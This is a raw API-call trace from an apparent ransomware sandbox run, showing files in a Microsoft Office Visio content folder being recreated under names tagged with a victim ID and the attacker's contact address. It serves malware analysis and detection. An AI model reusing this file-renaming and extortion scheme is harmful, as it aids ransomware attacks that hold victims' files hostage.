SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.418] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DBUML_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\dbuml_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.418] CloseHandle (hObject=0x1270) returned 1 [0274.419] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.419] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DEPTORGCHART_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\deptorgchart_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.419] CloseHandle (hObject=0x1270) returned 1 [0274.420] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.420] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DEPTORGCHART_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\deptorgchart_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.420] CloseHandle (hObject=0x1270) returned 1 [0274.421] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.421] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DGICON_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\dgicon_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.421] CloseHandle (hObject=0x1270) returned 1 [0274.421] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.421] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DGICON_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\dgicon_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.422] CloseHandle (hObject=0x1270) returned 1 [0274.422] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.423] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DIMARC_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\dimarc_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.423] CloseHandle (hObject=0x1270) returned 1 [0274.423] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.800] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DIMENG_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\dimeng_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.843] CloseHandle (hObject=0x1270) returned 1 [0274.844] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.844] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ELETEL_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\eletel_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.844] CloseHandle (hObject=0x1270) returned 1 [0274.845] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.845] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EMBELL_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\embell_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.846] CloseHandle (hObject=0x1270) returned 1 [0274.846] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.846] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EMBELL_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\embell_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.846] CloseHandle (hObject=0x1270) returned 1 [0274.847] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.847] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ENTAPP_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\entapp_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.847] CloseHandle (hObject=0x1270) returned 1 [0274.848] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.848] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ENTAPP_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\entapp_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.849] CloseHandle (hObject=0x1270) returned 1 [0274.849] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.849] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ENTAPP_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\entapp_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.850] CloseHandle (hObject=0x1270) returned 1 [0274.851] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.851] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ENTAPP_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\entapp_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.851] CloseHandle (hObject=0x1270) returned 1 [0274.852] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.852] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EPC_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\epc_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.852] CloseHandle (hObject=0x1270) returned 1 [0274.853] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.853] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EPC_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\epc_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.853] CloseHandle (hObject=0x1270) returned 1 [0274.854] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.854] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EPC_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\epc_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.854] CloseHandle (hObject=0x1270) returned 1 [0274.855] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.856] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EPC_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\epc_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.856] CloseHandle (hObject=0x1270) returned 1 [0274.857] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.857] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EXCOBJ_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\excobj_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.857] CloseHandle (hObject=0x1270) returned 1 [0274.858] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.858] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EXCOBJ_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\excobj_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.858] CloseHandle (hObject=0x1270) returned 1 [0274.859] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.859] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\FASTN1_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\fastn1_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.859] CloseHandle (hObject=0x1270) returned 1 [0274.860] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.860] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\FASTN1_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\fastn1_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.860] CloseHandle (hObject=0x1270) returned 1 [0274.861] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.861] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\FASTN2_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\fastn2_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.861] CloseHandle (hObject=0x1270) returned 1 [0274.863] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.863] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\FASTN2_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\fastn2_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.863] CloseHandle (hObject=0x1270) returned 1 [0274.864] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.864] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\FAULT_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\fault_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.864] CloseHandle (hObject=0x1270) returned 1 [0274.865] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.865] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\FAULT_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\fault_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.865] CloseHandle (hObject=0x1270) returned 1 [0274.867] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.867] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\FAULT_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\fault_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.867] CloseHandle (hObject=0x1270) returned 1 [0274.868] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.868] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\FAULT_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\fault_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.869] CloseHandle (hObject=0x1270) returned 1 [0274.869] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.869] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\FLOSHP_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\floshp_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.870] CloseHandle (hObject=0x1270) returned 1 [0274.872] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.872] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\FLOSHP_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\floshp_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.872] CloseHandle (hObject=0x1270) returned 1 [0274.873] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.873] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\FLRPLN_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\flrpln_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.873] CloseHandle (hObject=0x1270) returned 1 [0274.874] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.874] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\FLRPLN_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\flrpln_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.874] CloseHandle 